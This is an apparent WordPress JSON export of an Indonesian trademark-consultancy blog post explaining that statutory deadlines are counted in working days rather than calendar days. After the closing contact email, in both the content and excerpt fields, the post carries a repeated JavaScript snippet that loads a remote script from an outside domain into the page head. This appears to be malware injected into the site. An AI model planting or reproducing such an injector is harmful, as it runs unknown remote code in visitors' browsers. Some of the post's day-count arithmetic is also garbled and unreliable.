{"id":5605,"date":"2025-02-27T06:06:33","date_gmt":"2025-02-27T06:06:33","guid":{"rendered":"https:\/\/affa.co.id\/?p=5383"},"modified":"2025-02-27T06:06:33","modified_gmt":"2025-02-27T06:06:33","slug":"30-hari-kalender-atau-30-hari-kerja-jangan-salah-hitung-deadline-atau-merek-anda-jadi-taruhannya","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/02\/27\/30-hari-kalender-atau-30-hari-kerja-jangan-salah-hitung-deadline-atau-merek-anda-jadi-taruhannya\/","title":{"rendered":"30 Hari Kalender atau 30 Hari Kerja? Jangan Salah Hitung Deadline atau Merek Anda Jadi Taruhannya"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam Undang-Undang Merek yang berlaku di Indonesia, pada Pasal Pasal 1 yang berisi tentang pengertian, telah ditulis dengan jelas bahwa yang dimaksud dengan hari yang disebutkan dalam undang-undang ini adalah hari kerja, bukan hari kalender. Namun terkadang informasi tentang ini menjadi rancu saat diumumkan sebagai potongan informasi kepada pemilik IP atau perwakilannya yang berada di luar negeri. Tidak sering perbedaan ini menimbulkan ekspektasi yang salah akan kecepatan pemrosesan permohonan atau bahkan keterlambatan dalam menyiapkan dokumen, sehingga menimbulkan kerugian yang seharusnya tidak perlu terjadi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Bagaimana Membedakan Hari Kalender dengan Hari Kerja?<\/b><b><\/p>\n<p><\/b><\/p>\n<p><span style=\"font-weight: 400\">Jika pada Pasal 24 UU Merek dinyatakan<\/span><b><i> \u201cDalam jangka waktu paling lama 30 (tiga puluh) hari terhitung sejak Tanggal Pengiriman surat pemberitahuan terkait Permohonan tidak dapat didaftar atau ditolak, Pemohon atau Kuasanya dapat menyampaikan tanggapannya secara tertulis dengan menyebutkan alasannya,\u201d <\/i><\/b><span style=\"font-weight: 400\">maka yang dimaksud dengan 30 hari di sini bukanlah 1 (satu) bulan, tapi bisa menjadi 1,5 (satu setengah) bulan.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berikut perhitungannya:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">30 hari = 30 hari kerja<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Hari kerja = Senin &#8211; Selasa &#8211; Rabu &#8211; Kamis &#8211; Jumat (5 hari dalam 1 minggu)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Maka 30 Hari kerja adalah 6 minggu; Didapat dari (30:5),<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika dihitung jumlah harinya, maka akan didapat 6 x 7 = 42 hari<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Atau sekitar 8 minggu = 1,5 bulan; Didapat dari (42:5).<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun lebih kurangnya akan bergantung apakah dalam jangka waktu itu meliputi bulan Februari atau lebih banyak komposisi bulan dengan jumlah 30 hari atau tidak. Juga perlu memperhitungkan apakah di bulan tersebut ada tanggal merah\/hari libur nasionalnya atau tidak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Lalu bagaimana dengan usul penolakan untuk permohonan Merek yang diajukan lewat Protokol Madrid?<\/b><\/p>\n<p style=\"text-align: center\"><span style=\"font-weight: 400\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-large wp-image-5385\" src=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/2025\/02\/Screen-Shot-2025-02-26-at-15.55.07-1024x1007.png\" alt=\"Contoh surat pemberitahuan penolakan Merek yang dikirim oleh WIPO untuk pengajuan melalui Protokol Madrid - AFFA IPR\" width=\"1024\" height=\"1007\" \/>Contoh surat pemberitahuan penolakan Merek yang dikirim oleh WIPO<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">untuk pengajuan melalui Protokol Madrid<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika Merek Anda diajukan melalui Protokol Madrid, dengan menunjuk Indonesia sebagai (salah satu) negara tujuannya. Maka jika Merek Anda ditolak, <\/span><b><i>Organisasi Kekayaan Intelektual Dunia (WIPO)<\/i><\/b><span style=\"font-weight: 400\"> akan mengirimkan pemberitahuan lengkap kapan Anda dapat mulai memberikan tanggapan<\/span><i><span style=\"font-weight: 400\"> (date on which the time limit to respond)<\/span><\/i><span style=\"font-weight: 400\">, jangka waktu<\/span><i><span style=\"font-weight: 400\"> (time limit to reply)<\/span><\/i><span style=\"font-weight: 400\">, dan batas akhirnya<\/span><i><span style=\"font-weight: 400\"> (date on which the time limit to respond)<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun informasi yang disampaikan oleh WIPO ini tidak sepenuhnya tepat karena menggunakan 30 hari kalender, bukan 30 hari kerja sebagaimana diatur dalam Undang-Undang Merek. Maka batas akhir yang pada contoh surat di atas tertulis<\/span><b> 12 Februari 2025<\/b><span style=\"font-weight: 400\"> tidak tepat, karena seharusnya yang benar adalah<\/span><b> 21 Februari 2025<\/b><span style=\"font-weight: 400\">. Ada selisih 9 (sembilan) hari kalender dari tanggal yang tertera di surat pemberitahuan WIPO.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Perhitungan berdasarkan hari kerja di satu sisi terlihat bagus karena ternyata Anda memiliki rentang waktu yang lebih lama. Namun di sisi lain, jika kecepatan yang Anda inginkan, maka Anda harus siap untuk menunggu lebih lama. Apalagi jika ternyata ada hari-hari libur lainnya yang tidak tercatat di kalender internasional.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>KECUALI<\/b><span style=\"font-weight: 400\">, jika dalam peraturannya rentang waktu ini dinyatakan dalam bulan. Seperti misalnya pada rentang waktu bagi Pemohon atau Kuasanya yang ingin mengajukan sanggahan terhadap keberatan dari Pengumuman Berita Resmi Merek. Pada Pasal 17 UU Merek tertulis <\/span><b><i>\u201cSanggahan diajukan secara tertulis dalam waktu <\/i><\/b><b><i>paling lama<\/i><\/b><b><i> 2 (dua) bulan sejak Tanggal Pengiriman salinan keberatan yang disampaikan,\u201d<\/i><\/b><span style=\"font-weight: 400\"> maka Anda harus mengangapnya sebagaimana bulan dalam jumlah hari kalender.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan demikian <\/span><i><span style=\"font-weight: 400\">deadline<\/span><\/i><span style=\"font-weight: 400\"> Anda hanya 2&#215;30 hari, bukan 2&#215;45 hari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Untuk menghindari kebingungan seperti ini, Anda perlu menghubungi <\/span><a href=\"http:\/\/affa.co.id\"><span style=\"font-weight: 400\">Konsultan Merek terpecaya<\/span><\/a><span style=\"font-weight: 400\"> yang ada di Indonesia. Karena dengan sistem yang sudah terintegrasi, Anda akan selalu terinformasi terhadap apa pun situasi terkini dari Merek Anda. Dengan memahami tenggat waktu ini, Anda pun dapat mengukur dan mempersiapkan dengan lebih baik anggaran dan dokumen yang dibutuhkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:\u2028<\/i><\/b><\/p>\n<p><a href=\"https:\/\/affa.co.id\/bhs\/menjadi-anggota-brics-peluang-emas-merek-indonesia-berjaya\/\"><b><i>Menjadi Anggota BRICS \u2013 Peluang Emas Merek Indonesia Berjaya?<\/i><\/b><\/a><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait proses pendaftaran dan perlindungan Merek di Indonesia atau manca negara, langsung hubungi kami melalui email: <\/b><a href=\"mailto:trademark@affa.co.id\"><b>trademark@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam Undang-Undang Merek yang berlaku di Indonesia, pada Pasal Pasal 1 yang berisi tentang pengertian, telah ditulis dengan jelas bahwa yang dimaksud dengan hari yang disebutkan dalam undang-undang ini adalah hari kerja, bukan hari kalender. Namun terkadang informasi tentang ini menjadi rancu saat diumumkan sebagai potongan informasi kepada pemilik IP atau perwakilannya yang berada di luar negeri. Tidak sering perbedaan ini menimbulkan ekspektasi yang salah akan kecepatan pemrosesan permohonan atau bahkan keterlambatan dalam menyiapkan dokumen, sehingga menimbulkan kerugian yang seharusnya tidak perlu terjadi. &nbsp; Bagaimana Membedakan Hari Kalender dengan Hari Kerja? Jika pada Pasal 24 UU Merek dinyatakan \u201cDalam jangka waktu paling lama 30 (tiga puluh) hari terhitung sejak Tanggal Pengiriman surat pemberitahuan terkait Permohonan tidak dapat didaftar atau ditolak, Pemohon atau Kuasanya dapat menyampaikan tanggapannya secara tertulis dengan menyebutkan alasannya,\u201d maka yang dimaksud dengan 30 hari di sini bukanlah 1 (satu) bulan, tapi bisa menjadi 1,5 (satu setengah) bulan.\u00a0 &nbsp; Berikut perhitungannya: 30 hari = 30 hari kerja Hari kerja = Senin &#8211; Selasa &#8211; Rabu &#8211; Kamis &#8211; Jumat (5 hari dalam 1 minggu) Maka 30 Hari kerja adalah 6 minggu; Didapat dari (30:5), Jika dihitung jumlah harinya, maka akan didapat 6 x 7 = 42 hari Atau sekitar 8 minggu = 1,5 bulan; Didapat dari (42:5). &nbsp; Namun lebih kurangnya akan bergantung apakah dalam jangka waktu itu meliputi bulan Februari atau lebih banyak komposisi bulan dengan jumlah 30 hari atau tidak. Juga perlu memperhitungkan apakah di bulan tersebut ada tanggal merah\/hari libur nasionalnya atau tidak. &nbsp; Lalu bagaimana dengan usul penolakan untuk permohonan Merek yang diajukan lewat Protokol Madrid? Contoh surat pemberitahuan penolakan Merek yang dikirim oleh WIPO untuk pengajuan melalui Protokol Madrid &nbsp; Jika Merek Anda diajukan melalui Protokol Madrid, dengan menunjuk Indonesia sebagai (salah satu) negara tujuannya. Maka jika Merek Anda ditolak, Organisasi Kekayaan Intelektual Dunia (WIPO) akan mengirimkan pemberitahuan lengkap kapan Anda dapat mulai memberikan tanggapan (date on which the time limit to respond), jangka waktu (time limit to reply), dan batas akhirnya (date on which the time limit to respond). &nbsp; Namun informasi yang disampaikan oleh WIPO ini tidak sepenuhnya tepat karena menggunakan 30 hari kalender, bukan 30 hari kerja sebagaimana diatur dalam Undang-Undang Merek. Maka batas akhir yang pada contoh surat di atas tertulis 12 Februari 2025 tidak tepat, karena seharusnya yang benar adalah 21 Februari 2025. Ada selisih 9 (sembilan) hari kalender dari tanggal yang tertera di surat pemberitahuan WIPO. &nbsp; Perhitungan berdasarkan hari kerja di satu sisi terlihat bagus karena ternyata Anda memiliki rentang waktu yang lebih lama. Namun di sisi lain, jika kecepatan yang Anda inginkan, maka Anda harus siap untuk menunggu lebih lama. Apalagi jika ternyata ada hari-hari libur lainnya yang tidak tercatat di kalender internasional. &nbsp; KECUALI, jika dalam peraturannya rentang waktu ini dinyatakan dalam bulan. Seperti misalnya pada rentang waktu bagi Pemohon atau Kuasanya yang ingin mengajukan sanggahan terhadap keberatan dari Pengumuman Berita Resmi Merek. Pada Pasal 17 UU Merek tertulis \u201cSanggahan diajukan secara tertulis dalam waktu paling lama 2 (dua) bulan sejak Tanggal Pengiriman salinan keberatan yang disampaikan,\u201d maka Anda harus mengangapnya sebagaimana bulan dalam jumlah hari kalender. &nbsp; Dengan demikian deadline Anda hanya 2&#215;30 hari, bukan 2&#215;45 hari. &nbsp; Untuk menghindari kebingungan seperti ini, Anda perlu menghubungi Konsultan Merek terpecaya yang ada di Indonesia. Karena dengan sistem yang sudah terintegrasi, Anda akan selalu terinformasi terhadap apa pun situasi terkini dari Merek Anda. Dengan memahami tenggat waktu ini, Anda pun dapat mengukur dan mempersiapkan dengan lebih baik anggaran dan dokumen yang dibutuhkan. &nbsp; Baca juga:\u2028 Menjadi Anggota BRICS \u2013 Peluang Emas Merek Indonesia Berjaya? Jika Anda membutuhkan informasi lebih lanjut terkait proses pendaftaran dan perlindungan Merek di Indonesia atau manca negara, langsung hubungi kami melalui email: trademark@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5628,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[308,309,310,314,317,318,531,544,545,298,305,306,307],"class_list":["post-5605","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-trademark","tag-regulasi","tag-trademark-law","tag-regulation","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5605"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5605\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5628"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}